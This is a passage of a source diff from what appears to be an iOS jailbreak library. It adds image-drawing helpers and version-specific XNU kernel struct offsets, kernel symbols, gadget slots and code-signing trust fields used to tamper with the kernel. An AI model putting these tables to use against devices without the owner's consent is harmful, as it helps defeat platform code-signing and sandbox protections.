(!cgImageSource) goto finish; + cgImage = CGImageSourceCreateImageAtIndex(cgImageSource, 0, NULL); + if (!cgImage) goto finish; + +finish: + if (bootImageCfString) CFRelease(bootImageCfString); + if (imageURL) CFRelease(imageURL); + if (cgImageSource) CFRelease(cgImageSource); + + return cgImage; +} + +int save_image_bitmap_to_plist(CGImageRef imageRef, const char *outPath) +{ + if (!imageRef) return -1; + + CGDataProviderRef dataProvider = CGImageGetDataProvider(imageRef); + if (!dataProvider) return -1; + CFDataRef data = CGDataProviderCopyData(dataProvider); + if (!data) return -1; + + NSDictionary *imagePlist = @{ + @"width" : @(CGImageGetWidth(imageRef)), + @"height" : @(CGImageGetHeight(imageRef)), + @"bitsPerComponent" : @(CGImageGetBitsPerComponent(imageRef)), + @"bitsPerPixel" : @(CGImageGetBitsPerPixel(imageRef)), + @"bytesPerRow" : @(CGImageGetBytesPerRow(imageRef)), + @"bitmapData" : (__bridge id)data, + }; + + CFRelease(data); + + return [imagePlist writeToURL:[NSURL fileURLWithPath:[NSString stringWithUTF8String:outPath]] error:nil] != true; +} + +CGImageRef load_image_from_bitmap_plist(const char *bitmapPlistPath) +{ + NSDictionary *imagePlist = [NSDictionary dictionaryWithContentsOfURL:[NSURL fileURLWithPath:[NSString stringWithUTF8String:bitmapPlistPath]] error:nil]; + if (!imagePlist) return NULL; + + size_t width = ((NSNumber *)imagePlist[@"width"]).unsignedLongLongValue; + size_t height = ((NSNumber *)imagePlist[@"height"]).unsignedLongLongValue; + size_t bitsPerComponent = ((NSNumber *)imagePlist[@"bitsPerComponent"]).unsignedLongLongValue; + size_t bitsPerPixel = ((NSNumber *)imagePlist[@"bitsPerPixel"]).unsignedLongLongValue; + size_t bytesPerRow = ((NSNumber *)imagePlist[@"bytesPerRow"]).unsignedLongLongValue; + NSData *bitmapData = imagePlist[@"bitmapData"]; + const void *bitmapBuffer = bitmapData.bytes; + + if ((height * bytesPerRow) != bitmapData.length) { + return NULL; + } + + CGDataProviderRef provider = CGDataProviderCreateWithData(NULL, bitmapBuffer, height * bytesPerRow, NULL); + + CGColorSpaceRef colorSpaceRef = CGColorSpaceCreateDeviceRGB(); + CGBitmapInfo bitmapInfo = kCGBitmapByteOrderDefault; + CGColorRenderingIntent renderingIntent = kCGRenderingIntentDefault; + + CGImageRef imageRef = CGImageCreate(width, + height, + bitsPerComponent, + bitsPerPixel, + bytesPerRow, + colorSpaceRef, + bitmapInfo, + provider, + NULL, + NO, + renderingIntent); + + CGDataProviderRelease(provider); + CGColorSpaceRelease(colorSpaceRef); + + return imageRef; +} + +int draw_image_path_to_buf(const char* image_path, IOMobileFramebufferDisplaySize size, CGFloat rotation, void **bufOut, size_t *bufSizeOut) +{ + CGImageRef cgImage = load_image(image_path); + if (!cgImage) return -1; + int r = draw_image_to_buf(cgImage, size, rotation, bufOut, bufSizeOut); + CGImageRelease(cgImage); + return r; +} + +int draw_image_path_to_buf_for_main_screen(const char* image_path, void **bufOut, size_t *bufSizeOut) +{ + CGImageRef cgImage = load_image(image_path); + if (!cgImage) return -1; + int r = draw_image_to_buf_for_main_screen(cgImage, bufOut, bufSizeOut); + CGImageRelease(cgImage); + return r; +} + +int display_draw_raw(void *rawBuf, size_t rawBufSize) +{ + int retval = display_init(); + if (retval) return retval; + size_t displayBufSize = gDisplay.size.height * gDisplay.bytesPerRow; + if (rawBufSize != displayBufSize) { + return -1; + } + memcpy(gDisplay.base, rawBuf, rawBufSize); + return display_update(); +} + +int display_draw_image_path(const char* image_path) +{ + int retval = -1; + + void *buf = NULL; + size_t bufSize = 0; + retval = draw_image_path_to_buf_for_main_screen(image_path, &buf, &bufSize); + if (retval) return retval; + retval = display_draw_raw(buf, bufSize); + free(buf); + return retval; +} + +int display_draw_image(CGImageRef cgImage) +{ + int retval = -1; + + void *buf = NULL; + size_t bufSize = 0; + retval = draw_image_to_buf_for_main_screen(cgImage, &buf, &bufSize); + if (retval) return retval; + retval = display_draw_raw(buf, bufSize); + free(buf); + return retval; +} \ No newline at end of file diff --git a/BaseBin/libjailbreak/src/info.c b/BaseBin/libjailbreak/src/info.c index 6a6ef2d07c..8af2727039 100644 --- a/BaseBin/libjailbreak/src/info.c +++ b/BaseBin/libjailbreak/src/info.c @@ -1,23 +1,12 @@ #include "info.h" #include "kernel.h" +#include "machine_info.h" #include "primitives.h" #include #include #include #include -#ifndef CPUFAMILY_ARM_BLIZZARD_AVALANCHE -# define CPUFAMILY_ARM_BLIZZARD_AVALANCHE 0xda33d83d -#endif - -#ifndef CPUFAMILY_ARM_EVEREST_SAWTOOTH -# define CPUFAMILY_ARM_EVEREST_SAWTOOTH 0x8765edea -#endif - -#ifndef CPUFAMILY_ARM_COLL -# define CPUFAMILY_ARM_COLL 0x2876f5b5 -#endif - struct system_info gSystemInfo = { 0 }; void jbinfo_initialize_dynamic_offsets(xpc_object_t xoffsetDict) @@ -29,7 +18,9 @@ void jbinfo_initialize_hardcoded_offsets(void) { struct utsname name; uname(&name); - char *xnuVersion = name.release; + char *darwinVersion = name.release; + uint64_t xnuMajor = 0, xnuMinor = 0; + sscanf(strstr(name.version, "xnu-"), "xnu-%llu.%llu.%*s", &xnuMajor, &xnuMinor); cpu_subtype_t cpuFamily = 0; size_t cpuFamilySize = sizeof(cpuFamily); @@ -42,7 +33,7 @@ void jbinfo_initialize_hardcoded_offsets(void) uint32_t taskJitboxAdjust = 0x0; if (hasJitbox) { taskJitboxAdjust = 0x10; - if (strcmp(xnuVersion, "22.0.0") >= 0) { + if (strcmp(darwinVersion, "22.0.0") >= 0) { // In iOS 16, there is a new jitbox related attribute taskJitboxAdjust = 0x18; } @@ -53,15 +44,15 @@ void jbinfo_initialize_hardcoded_offsets(void) #ifndef __arm64e__ uint32_t pmapA11Adjust = 0; if (cpuFamily == CPUFAMILY_ARM_MONSOON_MISTRAL) { - if (strcmp(xnuVersion, "21.0.0") >= 0) { // iOS 15+ + if (strcmp(darwinVersion, "21.0.0") >= 0) { // iOS 15+ pmapA11Adjust = 1; - if (strcmp(xnuVersion, "22.0.0") >= 0) { // iOS 16+ + if (strcmp(darwinVersion, "22.0.0") >= 0) { // iOS 16+ pmapA11Adjust = 2; } } } #endif - + // proc gSystemInfo.kernelStruct.proc.list_next = 0x0; gSystemInfo.kernelStruct.proc.list_prev = 0x8; @@ -78,7 +69,7 @@ void jbinfo_initialize_hardcoded_offsets(void) // ipc_space gSystemInfo.kernelStruct.ipc_space.table = 0x20; - gSystemInfo.kernelStruct.ipc_space.table_uses_smd = false; + gSystemInfo.kernelStruct.ipc_space.table_uses_smr = false; // ipc_entry gSystemInfo.kernelStruct.ipc_entry.object = 0x0; @@ -91,15 +82,27 @@ void jbinfo_initialize_hardcoded_offsets(void) gSystemInfo.kernelStruct.pmap.tte = 0x0; gSystemInfo.kernelStruct.pmap.ttep = 0x8; #ifdef __arm64e__ - gSystemInfo.kernelStruct.pmap.sw_asid = 0xBE + pmapEl2Adjust; - gSystemInfo.kernelStruct.pmap.wx_allowed = 0xC2 + pmapEl2Adjust; - gSystemInfo.kernelStruct.pmap.type = 0xC8 + pmapEl2Adjust; + gSystemInfo.kernelStruct.pmap.pmap_cs_main = 0x90; + gSystemInfo.kernelStruct.pmap.sw_asid = 0xBE + pmapEl2Adjust; + gSystemInfo.kernelStruct.pmap.wx_allowed = 0xC2 + pmapEl2Adjust; + gSystemInfo.kernelStruct.pmap.type = 0xC8 + pmapEl2Adjust; #else gSystemInfo.kernelStruct.pmap.sw_asid = 0x96; gSystemInfo.kernelStruct.pmap.wx_allowed = 0; gSystemInfo.kernelStruct.pmap.type = 0x9c + pmapA11Adjust; #endif - + +#ifdef __arm64e__ + // pmap_cs_region + gSystemInfo.kernelStruct.pmap_cs_region.pmap_cs_region_next = 0x0; + gSystemInfo.kernelStruct.pmap_cs_region.cd_entry = 0x28; + + // pmap_cs_code_directory + gSystemInfo.kernelStruct.pmap_cs_code_directory.pmap_cs_code_directory_next = 0x0; + gSystemInfo.kernelStruct.pmap_cs_code_directory.main_binary = 0x50; + gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x9C; +#endif + // pt_desc gSystemInfo.kernelStruct.pt_desc.pmap = 0x10; gSystemInfo.kernelStruct.pt_desc.va = 0x18; @@ -107,6 +110,7 @@ void jbinfo_initialize_hardcoded_offsets(void) // vm_map_header gSystemInfo.kernelStruct.vm_map_header.links = 0x0; + gSystemInfo.kernelStruct.vm_map_header.nentries = 0x20; // vm_map_entry gSystemInfo.kernelStruct.vm_map_entry.links = 0x0; @@ -128,7 +132,7 @@ void jbinfo_initialize_hardcoded_offsets(void) gSystemInfo.kernelStruct.ucred.svgid = ucred_cr_posix + 0x54; gSystemInfo.kernelStruct.ucred.label = 0x78; - if (strcmp(xnuVersion, "21.0.0") >= 0) { // iOS 15+ + if (strcmp(darwinVersion, "21.0.0") >= 0) { // iOS 15+ // proc gSystemInfo.kernelStruct.proc.svuid = 0x3C; gSystemInfo.kernelStruct.proc.svgid = 0x40; @@ -144,7 +148,7 @@ void jbinfo_initialize_hardcoded_offsets(void) #else gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x590; #endif - + // ipc_port gSystemInfo.kernelStruct.ipc_port.kobject = 0x58; @@ -156,7 +160,7 @@ void jbinfo_initialize_hardcoded_offsets(void) gSystemInfo.kernelStruct.trustcache.fileptr = 0x8; gSystemInfo.kernelStruct.trustcache.struct_size = 0x10; - if (strcmp(xnuVersion, "21.2.0") >= 0) { // iOS 15.2+ + if (strcmp(darwinVersion, "21.2.0") >= 0) { // iOS 15.2+ // proc gSystemInfo.kernelStruct.proc.ucred = 0x0; // Moved to proc_ro gSystemInfo.kernelStruct.proc.csflags = 0x0; // Moved to proc_ro @@ -178,7 +182,7 @@ void jbinfo_initialize_hardcoded_offsets(void) #else gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x560; #endif - if (strcmp(xnuVersion, "21.4.0") >= 0) { // iOS 15.4+ + if (strcmp(darwinVersion, "21.4.0") >= 0) { // iOS 15.4+ // proc gSystemInfo.kernelStruct.proc.textvp = 0x350; @@ -188,8 +192,8 @@ void jbinfo_initialize_hardcoded_offsets(void) // ipc_port gSystemInfo.kernelStruct.ipc_port.kobject = 0x48; - if (strcmp(xnuVersion, "22.0.0") >= 0) { // iOS 16+ - gSystemInfo.kernelConstant.smdBase = 3; + if (strcmp(darwinVersion, "22.0.0") >= 0) { // iOS 16+ + gSystemInfo.kernelConstant.smrBase = 3; // proc gSystemInfo.kernelStruct.proc.task = 0x0; // Removed, task is now at (proc + sizeof(proc)) @@ -202,11 +206,17 @@ void jbinfo_initialize_hardcoded_offsets(void) gSystemInfo.kernelStruct.proc.flag = 0x25C; gSystemInfo.kernelStruct.proc.textvp = 0x350; + gSystemInfo.kernelStruct.proc_ro.syscall_filter_mask = 0x28; + gSystemInfo.kernelStruct.proc_ro.mach_trap_filter_mask = 0x68; + gSystemInfo.kernelStruct.proc_ro.mach_kobj_filter_mask = 0x70; + // task #ifdef __arm64e__ gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x548 + taskJitboxAdjust; + gSystemInfo.kernelStruct.task.flags = 0x3b8 + taskJitboxAdjust; #else gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x528; + gSystemInfo.kernelStruct.task.flags = 0x3a0; #endif // vm_map gSystemInfo.kernelStruct.vm_map.flags = 0xB4; @@ -229,14 +239,37 @@ void jbinfo_initialize_hardcoded_offsets(void) gSystemInfo.kernelStruct.pmap.type = 0x94 + pmapA11Adjust; #endif - if (strcmp(xnuVersion, "22.1.0") >= 0) { // iOS 16.1+ - gSystemInfo.kernelStruct.ipc_space.table_uses_smd = true; - if (strcmp(xnuVersion, "22.3.0") >= 0) { // iOS 16.3+ - gSystemInfo.kernelConstant.smdBase = 2; - if (strcmp(xnuVersion, "22.4.0") >= 0) { // iOS 16.4+ +#ifdef __arm64e__ + // pmap_cs_code_directory + gSystemInfo.kernelStruct.pmap_cs_code_directory.main_binary = 0x190; + gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x1DC; +#endif + + if (strcmp(darwinVersion, "22.1.0") >= 0 && (xnuMajor > 8792 || (xnuMajor == 8792 && xnuMinor >= 42))) { // iOS 16.1+ (Exluding 16.1b1 - 16.1b3 on iOS and 16.1b1 - 16.1b4 on iPadOS) + gSystemInfo.kernelStruct.ipc_space.table_uses_smr = true; + + // proc_ro + gSystemInfo.kernelStruct.proc_ro.t_flags_ro = 0x78; + + if (strcmp(darwinVersion, "22.3.0") >= 0) { // iOS 16.3+ + gSystemInfo.kernelConstant.smrBase = 2; + if (strcmp(darwinVersion, "22.4.0") >= 0) { // iOS 16.4+ // proc gSystemInfo.kernelStruct.proc.flag = 0x454; gSystemInfo.kernelStruct.proc.textvp = 0x548; + +#ifdef __arm64e__ + // pmap_cs_code_directory + gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x1EC; +#endif + + if (strcmp(darwinVersion, "22.4.0") == 0) { // iOS 16.4 ONLY + // iOS 16.4 beta 1-3 use the old proc struct, 16.4b4+ use new + if (gSystemInfo.kernelStruct.proc.struct_size != 0x730) { + gSystemInfo.kernelStruct.proc.flag = 0x25C; + gSystemInfo.kernelStruct.proc.textvp = 0x350; + } + } } } } @@ -262,3 +295,100 @@ xpc_object_t jbinfo_get_serialized(void) SYSTEM_INFO_SERIALIZE(systemInfo); return systemInfo; } + +uint64_t get_vm_real_kernel_page_size(void) +{ + static uint64_t real_kernel_page_size = 0; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + real_kernel_page_size = vm_kernel_page_size; + + // vm_kernel_page_size is WRONG on A8X + // Screw Apple + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + if (cpuFamily == CPUFAMILY_ARM_TYPHOON) { + real_kernel_page_size = 0x1000; + } + }); + return real_kernel_page_size; +} + + +uint64_t get_vm_real_kernel_page_shift(void) +{ + static uint64_t real_kernel_page_shift = 0; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + real_kernel_page_shift = vm_kernel_page_shift; + + // vm_kernel_page_shift is WRONG on A8X + // Screw Apple + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + if (cpuFamily == CPUFAMILY_ARM_TYPHOON) { + real_kernel_page_shift = 14; + } + }); + return real_kernel_page_shift; +} + +uint64_t get_l1_block_size(void) +{ + switch (vm_real_kernel_page_size) { + case 0x4000: + return 0x1000000000; + case 0x1000: + return 0x40000000; + default: + return 0; + } +} + +uint64_t get_l1_block_mask(void) +{ + return get_l1_block_size() - 1; +} + +uint64_t get_l1_block_count(void) +{ + switch (vm_real_kernel_page_size) { + case 0x4000: + return 8; + case 0x1000: + return 256; + default: + return 0; + } +} + +uint64_t get_l2_block_size(void) +{ + switch (vm_real_kernel_page_size) { + case 0x4000: + return 0x2000000; + case 0x1000: + return 0x200000; + default: + return 0; + } +} + +uint64_t get_l2_block_mask(void) +{ + return get_l2_block_size() - 1; +} + +uint64_t get_l2_block_count(void) +{ + switch (vm_real_kernel_page_size) { + case 0x4000: + return 2048; + case 0x1000: + return 512; + default: + return 0; + } +} diff --git a/BaseBin/libjailbreak/src/info.h b/BaseBin/libjailbreak/src/info.h index 3e1f62f861..8960ba2cf4 100644 --- a/BaseBin/libjailbreak/src/info.h +++ b/BaseBin/libjailbreak/src/info.h @@ -1,5 +1,5 @@ -#ifndef INFO_H -#define INFO_H +#ifndef __INFO_H +#define __INFO_H #include #include @@ -21,15 +21,22 @@ struct system_info { uint64_t pointer_mask; uint64_t T1SZ_BOOT; uint64_t ARM_TT_L1_INDEX_MASK; - uint64_t smdBase; + uint64_t smrBase; uint64_t PT_INDEX_MAX; + uint64_t nsysent; + uint64_t mach_trap_count; } kernelConstant; struct { uint64_t usesPACBypass; - const char *rootPath; + char *rootPath; } jailbreakInfo; + struct { + bool markAppsAsDebugged; + double jetsamMultiplier; + } jailbreakSettings; + struct { // Functions uint64_t perfmon_dev_open; @@ -68,6 +75,8 @@ struct system_info { uint64_t vm_page_array_ending_addr; uint64_t pmap_image4_trust_caches; uint64_t ppl_trust_cache_rt; + uint64_t mach_kobj_count; + uint64_t developer_mode_enabled; } kernelSymbol; struct { @@ -78,7 +87,9 @@ struct system_info { uint64_t exception_return_after_check; uint64_t exception_return_after_check_no_restore; uint64_t str_x0_x19_ldr_x20; + uint64_t str_x8_x0; uint64_t str_x8_x9; + uint64_t kcall_return; } kernelGadget; struct { @@ -97,6 +108,7 @@ struct system_info { uint32_t ucred; uint32_t csflags; + uint32_t syscall_filter_mask; uint32_t struct_size; } proc; @@ -104,6 +116,10 @@ struct system_info { bool exists; uint32_t ucred; uint32_t csflags; + uint32_t syscall_filter_mask; + uint32_t mach_trap_filter_mask; + uint32_t mach_kobj_filter_mask; + uint32_t t_flags_ro; } proc_ro; struct { @@ -124,7 +140,10 @@ struct system_info { uint32_t map; uint32_t threads; uint32_t itk_space; + uint32_t flags; uint32_t task_can_transfer_memory_ownership; + uint32_t mach_trap_filter_mask; + uint32_t mach_kobj_filter_mask; } task; struct { @@ -136,7 +155,7 @@ struct system_info { struct { uint32_t table; - bool table_uses_smd; + bool table_uses_smr; } ipc_space; struct { @@ -156,6 +175,7 @@ struct system_info { struct { uint32_t links; + uint32_t nentries; } vm_map_header; struct { @@ -173,11 +193,23 @@ struct system_info { struct { uint32_t tte; uint32_t ttep; + uint32_t pmap_cs_main; uint32_t sw_asid; uint32_t wx_allowed; uint32_t type; } pmap; + struct { + uint32_t pmap_cs_region_next; + uint32_t cd_entry; + } pmap_cs_region; + + struct { + uint32_t pmap_cs_code_directory_next; + uint32_t main_binary; + uint32_t trust; + } pmap_cs_code_directory; + struct { uint32_t pmap; uint32_t va; @@ -200,156 +232,184 @@ extern struct system_info gSystemInfo; #define KERNEL_CONSTANTS_ITERATE(ctx, iterator) \ iterator(ctx, kernelConstant.slide); \ iterator(ctx, kernelConstant.staticBase); \ - iterator(ctx, kernelConstant.base); \ - iterator(ctx, kernelConstant.virtBase); \ - iterator(ctx, kernelConstant.virtSize); \ - iterator(ctx, kernelConstant.physBase); \ - iterator(ctx, kernelConstant.physSize); \ - iterator(ctx, kernelConstant.cpuTTEP); \ - iterator(ctx, kernelConstant.kernel_el); \ - iterator(ctx, kernelConstant.pointer_mask); \ - iterator(ctx, kernelConstant.T1SZ_BOOT); \ - iterator(ctx, kernelConstant.ARM_TT_L1_INDEX_MASK); \ - iterator(ctx, kernelConstant.smdBase); \ - iterator(ctx, kernelConstant.PT_INDEX_MAX); + iterator(ctx, kernelConstant.base); \ + iterator(ctx, kernelConstant.virtBase); \ + iterator(ctx, kernelConstant.virtSize); \ + iterator(ctx, kernelConstant.physBase); \ + iterator(ctx, kernelConstant.physSize); \ + iterator(ctx, kernelConstant.cpuTTEP); \ + iterator(ctx, kernelConstant.kernel_el); \ + iterator(ctx, kernelConstant.pointer_mask); \ + iterator(ctx, kernelConstant.T1SZ_BOOT); \ + iterator(ctx, kernelConstant.ARM_TT_L1_INDEX_MASK); \ + iterator(ctx, kernelConstant.smrBase); \ + iterator(ctx, kernelConstant.PT_INDEX_MAX); \ + iterator(ctx, kernelConstant.nsysent); \ + iterator(ctx, kernelConstant.mach_trap_count); #define JAILBREAK_INFO_ITERATE(ctx, iterator) \ iterator(ctx, jailbreakInfo.usesPACBypass); \ - iterator(ctx, jailbreakInfo.rootPath); \ + iterator(ctx, jailbreakInfo.rootPath); + +#define JAILBREAK_SETTINGS_ITERATE(ctx, iterator) \ + iterator(ctx, jailbreakSettings.markAppsAsDebugged); \ + iterator(ctx, jailbreakSettings.jetsamMultiplier); #define KERNEL_SYMBOLS_ITERATE(ctx, iterator) \ - iterator(ctx, kernelSymbol.perfmon_dev_open); \ - iterator(ctx, kernelSymbol.vn_kqfilter); \ - iterator(ctx, kernelSymbol.proc_find); \ - iterator(ctx, kernelSymbol.proc_rele); \ - iterator(ctx, kernelSymbol.kalloc_data_external); \ - iterator(ctx, kernelSymbol.kfree_data_external); \ - iterator(ctx, kernelSymbol.ml_sign_thread_state); \ - iterator(ctx, kernelSymbol.pmap_alloc_page_for_kern); \ - iterator(ctx, kernelSymbol.pmap_create_options); \ - iterator(ctx, kernelSymbol.pmap_enter_options_addr); \ - iterator(ctx, kernelSymbol.pmap_mark_page_as_ppl_page); \ - iterator(ctx, kernelSymbol.pmap_nest); \ - iterator(ctx, kernelSymbol.pmap_remove_options); \ - iterator(ctx, kernelSymbol.pmap_set_nested); \ - iterator(ctx, kernelSymbol.hw_lck_ticket_reserve_orig_allow_invalid); \ - iterator(ctx, kernelSymbol.exception_return); \ + iterator(ctx, kernelSymbol.perfmon_dev_open); \ + iterator(ctx, kernelSymbol.vn_kqfilter); \ + iterator(ctx, kernelSymbol.proc_find); \ + iterator(ctx, kernelSymbol.proc_rele); \ + iterator(ctx, kernelSymbol.kalloc_data_external); \ + iterator(ctx, kernelSymbol.kfree_data_external); \ + iterator(ctx, kernelSymbol.ml_sign_thread_state); \ + iterator(ctx, kernelSymbol.pmap_alloc_page_for_kern); \ + iterator(ctx, kernelSymbol.pmap_create_options); \ + iterator(ctx, kernelSymbol.pmap_enter_options_addr); \ + iterator(ctx, kernelSymbol.pmap_mark_page_as_ppl_page); \ + iterator(ctx, kernelSymbol.pmap_nest); \ + iterator(ctx, kernelSymbol.pmap_remove_options); \ + iterator(ctx, kernelSymbol.pmap_set_nested); \ + iterator(ctx, kernelSymbol.hw_lck_ticket_reserve_orig_allow_invalid); \ + iterator(ctx, kernelSymbol.exception_return); \ iterator(ctx, kernelSymbol.mac_label_set); \ \ - iterator(ctx, kernelSymbol.perfmon_devices); \ - iterator(ctx, kernelSymbol.cdevsw); \ - iterator(ctx, kernelSymbol.allproc); \ - iterator(ctx, kernelSymbol.gPhysBase); \ - iterator(ctx, kernelSymbol.gPhysSize); \ - iterator(ctx, kernelSymbol.gVirtBase); \ - iterator(ctx, kernelSymbol.cpu_ttep); \ - iterator(ctx, kernelSymbol.ptov_table); \ - iterator(ctx, kernelSymbol.vm_first_phys); \ - iterator(ctx, kernelSymbol.vm_first_phys_ppnum); \ - iterator(ctx, kernelSymbol.vm_last_phys); \ - iterator(ctx, kernelSymbol.pv_head_table); \ - iterator(ctx, kernelSymbol.pp_attr_table); \ - iterator(ctx, kernelSymbol.vm_page_array_beginning_addr); \ - iterator(ctx, kernelSymbol.vm_page_array_ending_addr); \ - iterator(ctx, kernelSymbol.pmap_image4_trust_caches); \ - iterator(ctx, kernelSymbol.ppl_trust_cache_rt); + iterator(ctx, kernelSymbol.perfmon_devices); \ + iterator(ctx, kernelSymbol.cdevsw); \ + iterator(ctx, kernelSymbol.allproc); \ + iterator(ctx, kernelSymbol.gPhysBase); \ + iterator(ctx, kernelSymbol.gPhysSize); \ + iterator(ctx, kernelSymbol.gVirtBase); \ + iterator(ctx, kernelSymbol.cpu_ttep); \ + iterator(ctx, kernelSymbol.ptov_table); \ + iterator(ctx, kernelSymbol.vm_first_phys); \ + iterator(ctx, kernelSymbol.vm_first_phys_ppnum); \ + iterator(ctx, kernelSymbol.vm_last_phys); \ + iterator(ctx, kernelSymbol.pv_head_table); \ + iterator(ctx, kernelSymbol.pp_attr_table); \ + iterator(ctx, kernelSymbol.vm_page_array_beginning_addr); \ + iterator(ctx, kernelSymbol.vm_page_array_ending_addr); \ + iterator(ctx, kernelSymbol.pmap_image4_trust_caches); \ + iterator(ctx, kernelSymbol.ppl_trust_cache_rt); \ + iterator(ctx, kernelSymbol.mach_kobj_count); \ + iterator(ctx, kernelSymbol.developer_mode_enabled); #define KERNEL_GADGETS_ITERATE(ctx, iterator) \ - iterator(ctx, kernelGadget.pacda); \ - iterator(ctx, kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed); \ - iterator(ctx, kernelGadget.ldp_x0_x1_x8); \ - iterator(ctx, kernelGadget.br_x22); \ - iterator(ctx, kernelGadget.exception_return_after_check); \ - iterator(ctx, kernelGadget.exception_return_after_check_no_restore); \ - iterator(ctx, kernelGadget.str_x0_x19_ldr_x20); \ - iterator(ctx, kernelGadget.str_x8_x9); + iterator(ctx, kernelGadget.pacda); \ + iterator(ctx, kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed); \ + iterator(ctx, kernelGadget.ldp_x0_x1_x8); \ + iterator(ctx, kernelGadget.br_x22); \ + iterator(ctx, kernelGadget.exception_return_after_check); \ + iterator(ctx, kernelGadget.exception_return_after_check_no_restore); \ + iterator(ctx, kernelGadget.str_x0_x19_ldr_x20); \ + iterator(ctx, kernelGadget.str_x8_x0); \ + iterator(ctx, kernelGadget.str_x8_x9); \ + iterator(ctx, kernelGadget.kcall_return); #define KERNEL_STRUCTS_ITERATE(ctx, iterator) \ - iterator(ctx, kernelStruct.proc.list_next); \ - iterator(ctx, kernelStruct.proc.list_prev); \ - iterator(ctx, kernelStruct.proc.task); \ - iterator(ctx, kernelStruct.proc.pptr); \ - iterator(ctx, kernelStruct.proc.proc_ro); \ - iterator(ctx, kernelStruct.proc.svuid); \ - iterator(ctx, kernelStruct.proc.svgid); \ - iterator(ctx, kernelStruct.proc.pid); \ - iterator(ctx, kernelStruct.proc.fd); \ - iterator(ctx, kernelStruct.proc.flag); \ - iterator(ctx, kernelStruct.proc.textvp); \ - iterator(ctx, kernelStruct.proc.ucred); \ - iterator(ctx, kernelStruct.proc.csflags); \ - iterator(ctx, kernelStruct.proc.struct_size); \ + iterator(ctx, kernelStruct.proc.list_next); \ + iterator(ctx, kernelStruct.proc.list_prev); \ + iterator(ctx, kernelStruct.proc.task); \ + iterator(ctx, kernelStruct.proc.pptr); \ + iterator(ctx, kernelStruct.proc.proc_ro); \ + iterator(ctx, kernelStruct.proc.svuid); \ + iterator(ctx, kernelStruct.proc.svgid); \ + iterator(ctx, kernelStruct.proc.pid); \ + iterator(ctx, kernelStruct.proc.fd); \ + iterator(ctx, kernelStruct.proc.flag); \ + iterator(ctx, kernelStruct.proc.textvp); \ + iterator(ctx, kernelStruct.proc.ucred); \ + iterator(ctx, kernelStruct.proc.csflags); \ + iterator(ctx, kernelStruct.proc.syscall_filter_mask); \ + iterator(ctx, kernelStruct.proc.struct_size); \ + \ + iterator(ctx, kernelStruct.proc_ro.exists); \ + iterator(ctx, kernelStruct.proc_ro.ucred); \ + iterator(ctx, kernelStruct.proc_ro.csflags); \ + iterator(ctx, kernelStruct.proc_ro.syscall_filter_mask); \ + iterator(ctx, kernelStruct.proc_ro.mach_trap_filter_mask); \ + iterator(ctx, kernelStruct.proc_ro.mach_kobj_filter_mask); \ + iterator(ctx, kernelStruct.proc_ro.t_flags_ro); \ \ - iterator(ctx, kernelStruct.proc_ro.exists); \ - iterator(ctx, kernelStruct.proc_ro.ucred); \ - iterator(ctx, kernelStruct.proc_ro.csflags); \ + iterator(ctx, kernelStruct.filedesc.ofiles_start); \ \ - iterator(ctx, kernelStruct.filedesc.ofiles_start); \ + iterator(ctx, kernelStruct.ucred.uid); \ + iterator(ctx, kernelStruct.ucred.ruid); \ + iterator(ctx, kernelStruct.ucred.svuid); \ + iterator(ctx, kernelStruct.ucred.groups); \ + iterator(ctx, kernelStruct.ucred.rgid); \ + iterator(ctx, kernelStruct.ucred.svgid); \ + iterator(ctx, kernelStruct.ucred.label); \ \ - iterator(ctx, kernelStruct.ucred.uid); \ - iterator(ctx, kernelStruct.ucred.ruid); \ - iterator(ctx, kernelStruct.ucred.svuid); \ - iterator(ctx, kernelStruct.ucred.groups); \ - iterator(ctx, kernelStruct.ucred.rgid); \ - iterator(ctx, kernelStruct.ucred.svgid); \ - iterator(ctx, kernelStruct.ucred.label); \ + iterator(ctx, kernelStruct.task.map); \ + iterator(ctx, kernelStruct.task.threads); \ + iterator(ctx, kernelStruct.task.itk_space); \ + iterator(ctx, kernelStruct.task.flags); \ + iterator(ctx, kernelStruct.task.task_can_transfer_memory_ownership); \ + iterator(ctx, kernelStruct.task.mach_trap_filter_mask); \ + iterator(ctx, kernelStruct.task.mach_kobj_filter_mask); \ \ - iterator(ctx, kernelStruct.task.map); \ - iterator(ctx, kernelStruct.task.threads); \ - iterator(ctx, kernelStruct.task.itk_space); \ - iterator(ctx, kernelStruct.task.task_can_transfer_memory_ownership); \ + iterator(ctx, kernelStruct.thread.recover); \ + iterator(ctx, kernelStruct.thread.machine_kstackptr); \ + iterator(ctx, kernelStruct.thread.machine_CpuDatap); \ + iterator(ctx, kernelStruct.thread.machine_contextData); \ \ - iterator(ctx, kernelStruct.thread.recover); \ - iterator(ctx, kernelStruct.thread.machine_kstackptr); \ - iterator(ctx, kernelStruct.thread.machine_CpuDatap); \ - iterator(ctx, kernelStruct.thread.machine_contextData); \ + iterator(ctx, kernelStruct.ipc_space.table); \ + iterator(ctx, kernelStruct.ipc_space.table_uses_smr); \ \ - iterator(ctx, kernelStruct.ipc_space.table); \ - iterator(ctx, kernelStruct.ipc_space.table_uses_smd); \ + iterator(ctx, kernelStruct.ipc_entry.object); \ + iterator(ctx, kernelStruct.ipc_entry.struct_size); \ \ - iterator(ctx, kernelStruct.ipc_entry.object); \ - iterator(ctx, kernelStruct.ipc_entry.struct_size); \ + iterator(ctx, kernelStruct.ipc_port.kobject); \ \ - iterator(ctx, kernelStruct.ipc_port.kobject); \ + iterator(ctx, kernelStruct.vm_map.hdr); \ + iterator(ctx, kernelStruct.vm_map.pmap); \ + iterator(ctx, kernelStruct.vm_map.flags); \ \ - iterator(ctx, kernelStruct.vm_map.hdr); 